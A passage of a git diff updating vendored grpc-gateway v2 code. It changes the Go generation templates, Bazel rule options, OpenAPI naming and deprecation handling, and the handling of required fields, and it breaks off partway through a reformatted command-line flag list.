$UseOpaqueAPI }} + {{- if eq "*" .GetBodyFieldPath }} var bodyData {{.Method.RequestType.GoType .Method.Service.File.GoPkg.Path}} if err := marshaler.NewDecoder(req.Body).Decode(&bodyData); err != nil && !errors.Is(err, io.EOF) { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - {{- if eq "*" .GetBodyFieldPath }} protoReq = bodyData {{- else }} - protoReq.Set{{ .GetBodyFieldStructName }}(bodyData.Get{{ .GetBodyFieldStructName }}()) + bodyData := &{{ .GetBodyFieldType }}{} + if err := marshaler.NewDecoder(req.Body).Decode(bodyData); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + protoReq.Set{{ .GetBodyFieldStructName }}(bodyData) {{- end }} {{- else }} if err := marshaler.NewDecoder(req.Body).Decode(&{{.Body.AssignableExpr "protoReq" .Method.Service.File.GoPkg.Path}}); err != nil && !errors.Is(err, io.EOF) { @@ -393,14 +424,18 @@ var filter_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index }} = {{ {{- end }} {{- if $isFieldMask }} {{- if $UseOpaqueAPI }} + {{- if eq "*" .GetBodyFieldPath }} var bodyData {{.Method.RequestType.GoType .Method.Service.File.GoPkg.Path}} if err := marshaler.NewDecoder(newReader()).Decode(&bodyData); err != nil && !errors.Is(err, io.EOF) { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - {{- if eq "*" .GetBodyFieldPath }} protoReq = bodyData {{- else }} - protoReq.Set{{ .GetBodyFieldStructName }}(bodyData.Get{{ .GetBodyFieldStructName }}()) + bodyData := &{{ .GetBodyFieldType }}{} + if err := marshaler.NewDecoder(newReader()).Decode(bodyData); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + protoReq.Set{{ .GetBodyFieldStructName }}(bodyData) {{- end }} {{- else }} if err := marshaler.NewDecoder(newReader()).Decode(&{{ .Body.AssignableExpr "protoReq" .Method.Service.File.GoPkg.Path }}); err != nil && !errors.Is(err, io.EOF) { @@ -467,7 +502,7 @@ var filter_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index }} = {{ if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", {{ $param | printf "%q"}}, err) } - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}(converted{{ $param.FieldPath.String | camelIdentifier }}) + {{ opaqueSetter $param.FieldPath "protoReq" }}(converted{{ $param.FieldPath.String | camelIdentifier }}) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }}, err = {{ $param.ConvertFuncExpr }}(val{{ if $param.IsRepeated }}, {{ $binding.Registry.GetRepeatedPathParamSeparator | printf "%c" | printf "%q" }}{{ end }}) if err != nil { @@ -481,13 +516,13 @@ var filter_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index }} = {{ s[i] = {{ $enum.GoType $param.Method.Service.File.GoPkg.Path}}(v) } {{- if $UseOpaqueAPI }} - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}(s) + {{ opaqueSetter $param.FieldPath "protoReq" }}(s) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }} = s {{- end }} {{- else if $enum}} {{- if $UseOpaqueAPI }} - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}({{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e)) + {{ opaqueSetter $param.FieldPath "protoReq" }}({{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e)) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }} = {{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e) {{- end }} @@ -610,14 +645,18 @@ func local_request_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index {{- end }} {{- if not $isFieldMask }} {{- if $UseOpaqueAPI }} + {{- if eq "*" .GetBodyFieldPath }} var bodyData {{.Method.RequestType.GoType .Method.Service.File.GoPkg.Path}} if err := marshaler.NewDecoder(req.Body).Decode(&bodyData); err != nil && !errors.Is(err, io.EOF) { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - {{- if eq "*" .GetBodyFieldPath }} protoReq = bodyData {{- else }} - protoReq.Set{{ .GetBodyFieldStructName }}(bodyData.Get{{ .GetBodyFieldStructName }}()) + bodyData := &{{ .GetBodyFieldType }}{} + if err := marshaler.NewDecoder(req.Body).Decode(bodyData); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + protoReq.Set{{ .GetBodyFieldStructName }}(bodyData) {{- end }} {{- else }} if err := marshaler.NewDecoder(req.Body).Decode(&{{ .Body.AssignableExpr "protoReq" .Method.Service.File.GoPkg.Path }}); err != nil && !errors.Is(err, io.EOF) { @@ -627,14 +666,18 @@ func local_request_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index {{- end }} {{- if $isFieldMask }} {{- if $UseOpaqueAPI }} + {{- if eq "*" .GetBodyFieldPath }} var bodyData {{.Method.RequestType.GoType .Method.Service.File.GoPkg.Path}} if err := marshaler.NewDecoder(newReader()).Decode(&bodyData); err != nil && !errors.Is(err, io.EOF) { return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) } - {{- if eq "*" .GetBodyFieldPath }} protoReq = bodyData {{- else }} - protoReq.Set{{ .GetBodyFieldStructName }}(bodyData.Get{{ .GetBodyFieldStructName }}()) + bodyData := &{{ .GetBodyFieldType }}{} + if err := marshaler.NewDecoder(newReader()).Decode(bodyData); err != nil && !errors.Is(err, io.EOF) { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + protoReq.Set{{ .GetBodyFieldStructName }}(bodyData) {{- end }} {{- else }} if err := marshaler.NewDecoder(newReader()).Decode(&{{ .Body.AssignableExpr "protoReq" .Method.Service.File.GoPkg.Path }}); err != nil && !errors.Is(err, io.EOF) { @@ -694,7 +737,7 @@ func local_request_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index if err != nil { return nil, metadata, status.Errorf(codes.InvalidArgument, "type mismatch, parameter: %s, error: %v", {{ $param | printf "%q"}}, err) } - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}(converted{{ $param.FieldPath.String | camelIdentifier }}) + {{ opaqueSetter $param.FieldPath "protoReq" }}(converted{{ $param.FieldPath.String | camelIdentifier }}) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }}, err = {{ $param.ConvertFuncExpr }}(val{{ if $param.IsRepeated }}, {{ $binding.Registry.GetRepeatedPathParamSeparator | printf "%c" | printf "%q" }}{{ end }}) if err != nil { @@ -708,13 +751,13 @@ func local_request_{{ .Method.Service.GetName }}_{{ .Method.GetName }}_{{ .Index s[i] = {{ $enum.GoType $param.Method.Service.File.GoPkg.Path }}(v) } {{- if $UseOpaqueAPI }} - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}(s) + {{ opaqueSetter $param.FieldPath "protoReq" }}(s) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }} = s {{- end }} {{- else if $enum }} {{- if $UseOpaqueAPI }} - protoReq.Set{{ $param.FieldPath.String | camelIdentifier }}({{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e)) + {{ opaqueSetter $param.FieldPath "protoReq" }}({{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e)) {{- else }} {{ $param.AssignableExpr "protoReq" $binding.Method.Service.File.GoPkg.Path }} = {{ $enum.GoType $param.Method.Service.File.GoPkg.Path | camelIdentifier }}(e) {{- end }} diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/defs.bzl b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/defs.bzl index 29e548c0..85d3dad8 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/defs.bzl +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/defs.bzl @@ -74,8 +74,10 @@ def _run_proto_gen_openapi( generate_unbound_methods, visibility_restriction_selectors, use_allof_for_refs, + omit_array_item_type_when_ref_sibling, disable_default_responses, enable_rpc_deprecation, + enable_field_deprecation, expand_slashed_path_patterns, preserve_rpc_order, generate_x_go_type): @@ -149,12 +151,18 @@ def _run_proto_gen_openapi( if use_allof_for_refs: args.add("--openapiv2_opt", "use_allof_for_refs=true") + if omit_array_item_type_when_ref_sibling: + args.add("--openapiv2_opt", "omit_array_item_type_when_ref_sibling=true") + if disable_default_responses: args.add("--openapiv2_opt", "disable_default_responses=true") if enable_rpc_deprecation: args.add("--openapiv2_opt", "enable_rpc_deprecation=true") + if enable_field_deprecation: + args.add("--openapiv2_opt", "enable_field_deprecation=true") + if expand_slashed_path_patterns: args.add("--openapiv2_opt", "expand_slashed_path_patterns=true") @@ -269,8 +277,10 @@ def _proto_gen_openapi_impl(ctx): generate_unbound_methods = ctx.attr.generate_unbound_methods, visibility_restriction_selectors = ctx.attr.visibility_restriction_selectors, use_allof_for_refs = ctx.attr.use_allof_for_refs, + omit_array_item_type_when_ref_sibling = ctx.attr.omit_array_item_type_when_ref_sibling, disable_default_responses = ctx.attr.disable_default_responses, enable_rpc_deprecation = ctx.attr.enable_rpc_deprecation, + enable_field_deprecation = ctx.attr.enable_field_deprecation, expand_slashed_path_patterns = ctx.attr.expand_slashed_path_patterns, preserve_rpc_order = ctx.attr.preserve_rpc_order, generate_x_go_type = ctx.attr.generate_x_go_type, @@ -422,6 +432,12 @@ protoc_gen_openapiv2 = rule( doc = "if set, will use allOf as container for $ref to preserve" + " same-level properties.", ), + "omit_array_item_type_when_ref_sibling": attr.bool( + default = False, + mandatory = False, + doc = "if set, will omit 'type: object' in array items when $ref is present" + + " to avoid strict no-$ref-siblings rule violations.", + ), "disable_default_responses": attr.bool( default = False, mandatory = False, @@ -434,6 +450,11 @@ protoc_gen_openapiv2 = rule( mandatory = False, doc = "whether to process grpc method's deprecated option.", ), + "enable_field_deprecation": attr.bool( + default = False, + mandatory = False, + doc = "whether to process proto field's deprecated option.", + ), "expand_slashed_path_patterns": attr.bool( default = False, mandatory = False, diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/naming.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/naming.go index 2a9ac069..ec608b27 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/naming.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/naming.go @@ -135,7 +135,27 @@ func resolveNamesUniqueWithContext(messages []string, extraContext int, componen if start < 0 { start = 0 } - uniqueNames[p] = strings.Join(h[start:], componentSeparator) + components := h[start:] + // When using empty separator (legacy mode), apply camelCase by title-casing + // intermediate lowercase package components. E.g., "google.rpc.Status" -> "googleRpcStatus" + // We only title-case components that are entirely lowercase (package names), + // not message names which are already PascalCase. + // Skip the first non-empty component (keep it lowercase for camelCase). + if componentSeparator == "" && len(components) > 1 { + firstNonEmpty := -1 + for i := 0; i < len(components); i++ { + if components[i] != "" { + firstNonEmpty = i + break + } + } + for i := firstNonEmpty + 1; i < len(components); i++ { + if len(components[i]) > 0 && components[i] == strings.ToLower(components[i]) { + components[i] = strings.ToUpper(components[i][:1]) + components[i][1:] + } + } + } + uniqueNames[p] = strings.Join(components, componentSeparator) } return uniqueNames } diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/template.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/template.go index 6265da8f..2ead63da 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/template.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/template.go @@ -345,6 +345,11 @@ func nestedQueryParams(message *descriptor.Message, field *descriptor.Field, pre } } + // verify if the field is deprecated, either via proto or annotation + protoDeprecated := field.GetOptions().GetDeprecated() && reg.GetEnableFieldDeprecation() + annotationDeprecated := getFieldConfiguration(reg, field).GetDeprecated() + deprecated := protoDeprecated || annotationDeprecated + param := openapiParameterObject{ Description: desc, In: "query", @@ -354,6 +359,7 @@ func nestedQueryParams(message *descriptor.Message, field *descriptor.Field, pre Format: schema.Format, Pattern: schema.Pattern, Required: required, + Deprecated: deprecated, UniqueItems: schema.UniqueItems, extensions: schema.extensions, Enum: schema.Enum, @@ -451,6 +457,12 @@ func findServicesMessagesAndEnumerations(s []*descriptor.Service, reg *descripto continue } + // Only process methods with HTTP bindings (exposed via HTTP annotations) + // This prevents unused message definitions from appearing in the OpenAPI document + if len(meth.Bindings) == 0 { + continue + } + swgReqName, ok := fullyQualifiedNameToOpenAPIName(meth.RequestType.FQMN(), reg) if !ok { grpclog.Errorf("couldn't resolve OpenAPI name for FQMN %q", meth.RequestType.FQMN()) @@ -507,6 +519,89 @@ func findNestedMessagesAndEnumerations(message *descriptor.Message, reg *descrip } } +// collectReferencedNamesForCache scans services and messages to collect all +// FQMNs/FQENs that will be referenced, WITHOUT using the naming cache. +// This allows us to build the cache with the correct filtered names BEFORE +// any code tries to use it. +func collectReferencedNamesForCache(services []*descriptor.Service, messages []*descriptor.Message, reg *descriptor.Registry) map[string]bool { + refs := make(map[string]bool) + + // Scan services FIRST so collectNestedTypeFQNs fully traverses + // message graphs without being short-circuited by pre-populated entries. + for _, svc := range services { + if !isVisible(getServiceVisibilityOption(svc), reg) { + continue + } + for _, meth := range svc.Methods { + if !isVisible(getMethodVisibilityOption(meth), reg) { + continue + } + if len(meth.Bindings) == 0 { + continue + } + + // Add method FQN (needed for body:"*" with path params) + refs[meth.FQMN()] = true + + // Add request/response types + refs[meth.RequestType.FQMN()] = true + refs[meth.ResponseType.FQMN()] = true + + // Recursively add nested types + collectNestedTypeFQNs(meth.RequestType, reg, refs) + collectNestedTypeFQNs(meth.ResponseType, reg, refs) + } + } + + // Add messages from the current file AFTER service scanning. + // This must come after the service loop's collectNestedTypeFQNs calls, + // otherwise pre-populated message entries cause the traversal to + // short-circuit and miss nested types like enums inside referenced messages. + // We also traverse each message's nested types here because + // renderMessagesAsDefinition renders ALL messages from the file, not just + // those reachable from service methods. Without this, cross-package types + // referenced by non-service messages would be missing from the naming cache. + for _, msg := range messages { + refs[msg.FQMN()] = true + collectNestedTypeFQNs(msg, reg, refs) + } + + // Add google.rpc.Status if default errors enabled + if !reg.GetDisableDefaultErrors() { + refs[".google.rpc.Status"] = true + // Also add nested types of Status + if statusMsg, err := reg.LookupMsg("google.rpc", "Status"); err == nil { + collectNestedTypeFQNs(statusMsg, reg, refs) + } + } + + return refs +} + +// collectNestedTypeFQNs recursively collects FQMNs/FQENs for all nested types +// of a message. Does NOT use the naming cache. +func collectNestedTypeFQNs(message *descriptor.Message, reg *descriptor.Registry, refs map[string]bool) { + for _, field := range message.Fields { + if !isVisible(getFieldVisibilityOption(field), reg) { + continue + } + fieldType := field.GetTypeName() + if fieldType == "" { + continue // primitive type + } + if refs[fieldType] { + continue // already visited + } + refs[fieldType] = true + + // If it's a message, recurse + if msg, err := reg.LookupMsg("", fieldType); err == nil { + collectNestedTypeFQNs(msg, reg, refs) + } + // Enums don't have nested types, no recursion needed + } +} + func skipRenderingRef(refName string) bool { _, ok := wktSchemas[refName] return ok @@ -607,11 +702,38 @@ func renderMessageAsDefinition(msg *descriptor.Message, reg *descriptor.Registry } if fieldSchema.Required != nil { - schema.Required = getUniqueFields(schema.Required, fieldSchema.Required) - schema.Required = append(schema.Required, fieldSchema.Required...) - // To avoid populating both the field schema require and message schema require, unset the field schema require. - // See issue #2635. - fieldSchema.Required = nil + // Only hoist required fields to parent if there are no path params inside this field. + if len(subPathParams) == 0 { + schema.Required = getUniqueFields(schema.Required, fieldSchema.Required) + schema.Required = append(schema.Required, fieldSchema.Required...) + // To avoid populating both the field schema require and message schema require, unset the field schema require. + // See issue #2635. + fieldSchema.Required = nil + } else { + // When there are path params, we need to separate field-level required from nested required. + // The field name itself (if required) should be in parent's required, but nested field names + // should stay in the nested schema's required. + fieldName := f.GetName() + if reg.GetUseJSONNamesForFields() { + fieldName = f.GetJsonName() + } + // Check if the field name is in the fieldSchema.Required (it would be if the field is marked REQUIRED) + var nestedRequired []string + fieldIsRequired := false + for _, req := range fieldSchema.Required { + if req == fieldName { + fieldIsRequired = true + } else { + nestedRequired = append(nestedRequired, req) + } + } + // Add the field name to parent's required if the field itself is required + if fieldIsRequired && find(schema.Required, fieldName) == -1 { + schema.Required = append(schema.Required, fieldName) + } + // Keep only the nested required fields in the field schema + fieldSchema.Required = nestedRequired + } } if reg.GetUseAllOfForRefs() { @@ -670,8 +792,13 @@ func renderFieldAsDefinition(f *descriptor.Field, reg *descriptor.Registry, refs if len(comments) > 0 { // Use title and description from field instead of nested message if present. paragraphs := strings.Split(comments, paragraphDeliminator) - schema.Title = strings.TrimSpace(paragraphs[0]) - schema.Description = strings.TrimSpace(strings.Join(paragraphs[1:], paragraphDeliminator)) + firstParagraph := strings.TrimSpace(paragraphs[0]) + if !strings.Contains(firstParagraph, "\n") { + schema.Title = firstParagraph + schema.Description = strings.TrimSpace(strings.Join(paragraphs[1:], paragraphDeliminator)) + } else { + schema.Description = strings.TrimSpace(comments) + } } // to handle case where path param is present inside the field of descriptorpb.FieldDescriptorProto_TYPE_MESSAGE type @@ -832,8 +959,13 @@ func schemaOfFieldBase(f *descriptor.Field, reg *descriptor.Registry, refs refMa switch aggregate { case array: - if _, ok := wktSchemas[fd.GetTypeName()]; !ok && fd.GetType() == descriptorpb.FieldDescriptorProto_TYPE_MESSAGE { - core.Type = "object" + // Only set core.Type = "object" for MESSAGE types with $ref if the flag is not set. + // When omitArrayItemTypeWhenRefSibling is true, we omit "type: object" to avoid + // no-$ref-siblings violations in OpenAPI v2, since $ref already implies the type is object. + if !reg.GetOmitArrayItemTypeWhenRefSibling() { + if _, ok := wktSchemas[fd.GetTypeName()]; !ok && fd.GetType() == descriptorpb.FieldDescriptorProto_TYPE_MESSAGE { + core.Type = "object" + } } ret = openapiSchemaObject{ schemaCore: schemaCore{ @@ -1454,18 +1586,26 @@ func renderServices(services []*descriptor.Service, paths *openapiPathsObject, r if regExp, ok := pathParamRegexpMap[parameterString]; ok { pattern = regExp } - if fc := getFieldConfiguration(reg, parameter.Target); fc != nil { + fc := getFieldConfiguration(reg, parameter.Target) + if fc != nil { pathParamName := fc.GetPathParamName() if pathParamName != "" && pathParamName != parameterString { pathParamNames["{"+parameterString+"}"] = "{" + pathParamName + "}" parameterString, _, _ = strings.Cut(pathParamName, "=") } } + + // verify if the parameter is deprecated, either via proto or annotation + protoDeprecated := parameter.Target.GetOptions().GetDeprecated() && reg.GetEnableFieldDeprecation() + annotationDeprecated := fc.GetDeprecated() + deprecated := protoDeprecated || annotationDeprecated + parameters = append(parameters, openapiParameterObject{ Name: parameterString, Description: desc, In: "path", Required: true, + Deprecated: deprecated, Default: defaultValue, // Parameters in gRPC-Gateway can only be strings? Type: paramType, @@ -1551,6 +1691,39 @@ func renderServices(services []*descriptor.Service, paths *openapiPathsObject, r if err != nil { return err } + // renderFieldAsDefinition may add the body field name to the schema's required array + // via updateSwaggerObjectFromFieldBehavior. However, for body parameters, the schema + // represents the field's type, not the containing message. The body field name should + // only be in the schema's required array if it's actually a property of the schema. + // Remove the body field name from required if it's not a property to avoid invalid entries. + if schema.Required != nil && schema.Properties != nil { + // Build a set of property names + propertyNames := make(map[string]bool) + for _, prop := range *schema.Properties { + propertyNames[prop.Key] = true + } + // Filter required array: keep field names that are either: + // 1. Not the body field name, OR + // 2. The body field name AND it's actually a property + filteredRequired := make([]string, 0, len(schema.Required)) + seenBodyFieldName := false + for _, req := range schema.Required { + if req == bodyFieldName { + if propertyNames[req] { + // It's a property, keep it (but only once) + if !seenBodyFieldName { + filteredRequired = append(filteredRequired, req) + seenBodyFieldName = true + } + } + // else: It's not a property, skip it + } else { + // Not the body field name, keep it + filteredRequired = append(filteredRequired, req) + } + } + schema.Required = filteredRequired + } } if schema.Title != "" { desc = mergeDescription(schema) @@ -2003,9 +2176,48 @@ func applyTemplate(p param) (*openapiSwaggerObject, error) { }, } + // IMPORTANT: Initialize the naming cache BEFORE any code that uses fullyQualifiedNameToOpenAPIName. + // This ensures consistent naming between renderServices (which generates $refs) and + // renderMessagesAsDefinition (which generates definitions). + // + // Pre-scan to collect referenced names WITHOUT using the naming cache. + // This allows us to build the cache with the correct filtered names upfront. + referencedNames := collectReferencedNamesForCache(p.Services, p.Messages, p.reg) + + // Get all names from the registry + allFQMNs := p.reg.GetAllFQMNs() + allFQENs := p.reg.GetAllFQENs() + allFQMethNs := p.reg.GetAllFQMethNs() + allNames := append(append(allFQMNs, allFQENs...), allFQMethNs...) + + // Filter: EXCLUDE names that are from a DIFFERENT package AND are NOT referenced + // This way we keep all names from the current package, and all referenced names from other packages + currentPackage := p.File.GetPackage() + filteredNames := make([]string, 0, len(allNames)) + for _, name := range allNames { + trimmedName := strings.TrimPrefix(name, ".") + if trimmedName == "" { + continue + } + // Include if: (1) from current package, OR (2) actually referenced, OR (3) from google.*/grpc.* packages + isCurrentPackage := strings.HasPrefix(trimmedName, currentPackage+".") + isGoogle := strings.HasPrefix(trimmedName, "google.") + isGRPC := strings.HasPrefix(trimmedName, "grpc.") + if isCurrentPackage || referencedNames[name] || isGoogle || isGRPC { + filteredNames = append(filteredNames, name) + } + } + + // Initialize the naming cache BEFORE renderServices so all lookups use consistent naming + registriesSeenMutex.Lock() + resolvedNames := resolveFullyQualifiedNameToOpenAPINames(filteredNames, p.reg.GetOpenAPINamingStrategy()) + registriesSeen[p.reg] = resolvedNames + registriesSeenMutex.Unlock() + // Loops through all the services and their exposed GET/POST/PUT/DELETE definitions // and create entries for all of them. // Also adds custom user specified references to second map. + // NOTE: This now uses the naming cache initialized above. requestResponseRefs, customRefs := refMap{}, refMap{} if err := renderServices(p.Services, &s.Paths, p.reg, requestResponseRefs, customRefs, p.Messages, s.Definitions); err != nil { panic(err) @@ -2028,7 +2240,9 @@ func applyTemplate(p param) (*openapiSwaggerObject, error) { // Find all the service's messages and enumerations that are defined (recursively) // and write request, response and other custom (but referenced) types out as definition objects. + // NOTE: This uses the same naming cache that was used by renderServices above. findServicesMessagesAndEnumerations(p.Services, p.reg, messages, streamingMessages, enums, requestResponseRefs) + if err := renderMessagesAsDefinition(messages, s.Definitions, p.reg, customRefs, nil); err != nil { return nil, err } @@ -3237,7 +3451,7 @@ func updateswaggerObjectFromJSONSchema(s *openapiSchemaObject, j *openapi_option func updateSwaggerObjectFromFieldBehavior(s *openapiSchemaObject, j []annotations.FieldBehavior, reg *descriptor.Registry, field *descriptor.Field) { required := false if reg.GetUseProto3FieldSemantics() { - required = !field.GetProto3Optional() + required = !field.GetProto3Optional() && field.OneofIndex == nil } for _, fb := range j { switch fb { diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/types.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/types.go index db9be4de..ab60dca4 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/types.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/internal/genopenapi/types.go @@ -149,6 +149,7 @@ type openapiParameterObject struct { Description string `json:"description,omitempty" yaml:"description,omitempty"` In string `json:"in,omitempty" yaml:"in,omitempty"` Required bool `json:"required" yaml:"required"` + Deprecated bool `json:"deprecated,omitempty" yaml:"deprecated,omitempty"` Type string `json:"type,omitempty" yaml:"type,omitempty"` Format string `json:"format,omitempty" yaml:"format,omitempty"` UniqueItems bool `json:"uniqueItems,omitempty" yaml:"uniqueItems,omitempty"` diff --git a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/main.go b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/main.go index 82062cc9..2450973b 100644 --- a/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/main.go +++ b/vendor/github.com/grpc-ecosystem/grpc-gateway/v2/protoc-gen-openapiv2/main.go @@ -17,42 +17,44 @@ import ( ) var ( - importPrefix = flag.String("import_prefix", "", "prefix to be added to go package paths for imported proto files") - file = flag.String("file", "-", "where to load data from") - allowDeleteBody = flag.Bool("allow_delete_body", false, "unless set, HTTP DELETE methods may not have a body") - grpcAPIConfiguration = flag.String("grpc_api_configuration", "", "path to file which describes the gRPC API Configuration in YAML format") - allowMerge = flag.Bool("allow_merge", false, "if set, generation one OpenAPI file out of multiple protos") - mergeFileName = flag.String("merge_file_name", "apidocs", "target OpenAPI file name prefix after merge") - useJSONNamesForFields = flag.Bool("json_names_for_fields", true, "if disabled, the original proto name will be used for generating OpenAPI definitions") - repeatedPathParamSeparator = flag.String("repeated_path_param_separator", "csv", "configures how repeated fields should be split. Allowed values are `csv`, `pipes`, `ssv` and `tsv`") - versionFlag = flag.Bool("version", false, "print the current version") - _ = flag.Bool("allow_repeated_fields_in_body", true, "allows to use repeated field in `body` and `response_body` field of `google.api.http` annotation option. DEPRECATED: the value is ignored and always behaves as `true`.") - includePackageInTags = flag.Bool("include_package_in_tags", false, "if unset, the gRPC service name is added to the `Tags` field of each operation. If set and the `package` directive is shown in the proto file, the package name will be prepended to the service name") - useFQNForOpenAPIName = flag.Bool("fqn_for_openapi_name", false, "if set, the object's OpenAPI names will use the fully qualified names from the proto definition (ie my.package.MyMessage.MyInnerMessage). DEPRECATED: prefer `openapi_naming_strategy=fqn`") - openAPINamingStrategy = flag.String("openapi_naming_strategy", "", "use the given OpenAPI naming strategy. Allowed values are `legacy`, `fqn`, `simple`, `package`. If unset, either `legacy` or `fqn` are selected, depending on the value of the `fqn_for_openapi_name` flag") - useGoTemplate = flag.Bool("use_go_templates", false, "if set, you can use Go templates in protofile comments") - goTemplateArgs = utilities.StringArrayFlag(flag.CommandLine, "go_template_args", "provide a custom value that can override a key in the Go template. Requires the `use_go_templates` option to be set") - ignoreComments = flag.Bool("ignore_comments", false, "if set, all protofile comments are excluded from output") - removeInternalComments = flag.Bool("remove_internal_comments", false, "if set, removes all substrings in comments that start with `(--` and end with `--)` as specified in https://google.aip.dev/192#internal-comments") - disableDefaultErrors = flag.Bool("disable_default_errors", false, "if set, disables generation of default errors. This is useful if you have defined custom error handling") - enumsAsInts = flag.Bool("enums_as_ints", false, "whether to render enum values as integers, as opposed to string values") - simpleOperationIDs = flag.Bool("simple_operation_ids", false, "whether to remove the service prefix in the operationID generation. Can introduce duplicate operationIDs, use with caution.") - proto3OptionalNullable = flag.Bool("proto3_optional_nullable", false, "whether Proto3 Optional fields should be marked as x-nullable") - openAPIConfiguration = flag.String("openapi_configuration", "", "path to file which describes the OpenAPI Configuration in YAML format") - generateUnboundMethods = flag.Bool("generate_unbound_methods", false, "generate swagger metadata even for RPC methods that have no HttpRule annotation") - recursiveDepth = flag.Int("recursive-depth", 1000, "maximum recursion count allowed for a field type") - omitEnumDefaultValue = flag.Bool("omit_enum_default_value", false, "if set, omit default enum value") - outputFormat = flag.String("output_format", string(genopenapi.FormatJSON), fmt.Sprintf("output content format. Allowed values are: `%s`, `%s`", genopenapi.FormatJSON, genopenapi.FormatYAML)) - visibilityRestrictionSelectors = utilities.StringArrayFlag(flag.CommandLine, "visibility_restriction_selectors", "list of `google.api.VisibilityRule` visibility labels to include in the generated output when a visibility annotation is defined. Repeat this option to supply multiple values. Elements without visibility annotations are unaffected by this setting.") - disableServiceTags = flag.Bool("disable_service_tags", false, "if set, disables generation of service tags. This is useful if you do not want to expose the names of your backend grpc services.") - disableDefaultResponses = flag.Bool("disable_default_responses", false, "if set, disables generation of default responses. Useful if you have to support custom response codes that are not 200.") - useAllOfForRefs = flag.Bool("use_allof_for_refs", false, "if set, will use allOf as container for $ref to preserve same-level properties.") - allowPatchFeature = flag.Bool("allow_patch_feature", true, "whether to hide update_mask fields in PATCH requests from the generated swagger file.") - preserveRPCOrder = flag.Bool("preserve_rpc_order", false, "if true, will ensure the order of paths emitted in openapi swagger files mirror the order of RPC methods found in proto files. If false, emitted paths will be ordered alphabetically.") - enableRpcDeprecation = flag.Bool("enable_rpc_deprecation", false, "whether to process grpc method's deprecated option.") - expandSlashedPathPatterns = flag.Bool("expand_slashed_path_patterns", false, "if set, expands path parameters with URI sub-paths into the URI. For example, \"/v1/{name=projects/*}/resource\" becomes \"/v1/projects/{project}/resource\".") - useProto3FieldSemantics = flag.Bool("use_proto3_field_semantics", false, "if set, uses proto3 field semantics for the OpenAPI schema. This means that fields are required by default.") - generateXGoType = flag.Bool("generate_x_go_type", false, "if set, generates x-go-type extension using the go_package option from proto files") + importPrefix = flag.String("import_prefix", "", "prefix to be added to go package paths for imported proto files") + file = flag.String("file", "-", "where to load data from") + allowDeleteBody = flag.Bool("allow_delete_body", false, "unless set, HTTP DELETE methods may not have a body") + grpcAPIConfiguration = flag.String("grpc_api_configuration", "", "path to file which describes the gRPC API Configuration in YAML format") + allowMerge = flag.Bool("allow_merge", false, "if set, generation one OpenAPI file out of multiple protos") + 